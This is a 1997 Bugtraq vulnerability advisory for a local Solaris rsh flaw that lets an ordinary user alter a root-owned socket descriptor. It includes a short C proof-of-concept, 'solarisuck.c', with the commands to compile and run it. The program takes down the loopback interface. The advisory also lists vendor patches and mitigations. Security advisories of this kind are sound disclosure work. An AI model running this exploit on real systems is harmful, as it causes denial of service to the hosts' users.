Solaris rsh socket descriptor Vulnerability

Bugtraq ID:	453
Class:	Access Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Jun 19 1997 12:00AM
Updated:	Jun 19 1997 12:00AM
Credit:	First posted to BugTraq by Alan Cox <[email protected]> on June 19, 1997.
Vulnerable:	Sun Solaris 2.5.1 _x86 Sun Solaris 2.5.1 Sun Solaris 2.5_x86 Sun Solaris 2.5 Sun Solaris 2.4_x86 Sun Solaris 2.4 Sun Solaris 2.3
Not Vulnerable:	Sun Solaris 2.6_x86 Sun Solaris 2.6

Solaris rsh socket descriptor Vulnerability

A vulnerability in rsh exists that can allow a regular user to modify a root owned socket descriptor. The consequences of this are a possible denial of service due to interfaces being manipulated by malicious users.

Solaris rsh socket descriptor Vulnerability

cc solarisuck.c -o solarisuck -lsocket
rsh localhost ./solarisuck

------------
solarisuck.c
------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>


int main(int argc, char *argv[])
{
struct ifreq please_break_me;

strcpy( please_break_me.ifr_name, "lo0");
please_break_me.ifr_flags=0;

if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
perror("Damn it didnt work. Obviously not Solaris ;)");
}

Solaris rsh socket descriptor Vulnerability

Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com

Disable rsh and any inetd non-root owned tasks or upgrade to Solaris 2.6 (which fixed the problem).


Sun Solaris 2.3

• Sun 101318-87
  sparc
  

Sun Solaris 2.4_x86

• Sun 101946-44
  x86
  

Sun Solaris 2.5

• Sun 103093-13
  sparc
  http://sunsolve.sun.com/search/document.do?assetkey=1-21-103093-13-1


• Sun 103093-15
  sparc
  http://sunsolve.sun.com/search/document.do?assetkey=1-21-103093-15-1

Sun Solaris 2.4

• Sun 101945-50
  sparc
  

Sun Solaris 2.5_x86

• Sun 103094-10
  http://sunsolve.sun.com/search/document.do?assetkey=1-21-103094-10-1

Sun Solaris 2.5.1 _x86

• Sun 103641-09
  x86
  http://sunsolve.sun.com/search/document.do?assetkey=1-21-103641-09-1

Sun Solaris 2.5.1

• Sun 103640-09
  sparc
  http://sunsolve.sun.com/search/document.do?assetkey=1-21-103640-09-1

Solaris rsh socket descriptor Vulnerability

References:

• Sun Patch Access Page (Sun Microsystems)
  
• Sun Patches List (Sun Microsystems)
  
• Sunsolve Online(tm) (Sun Microsystems)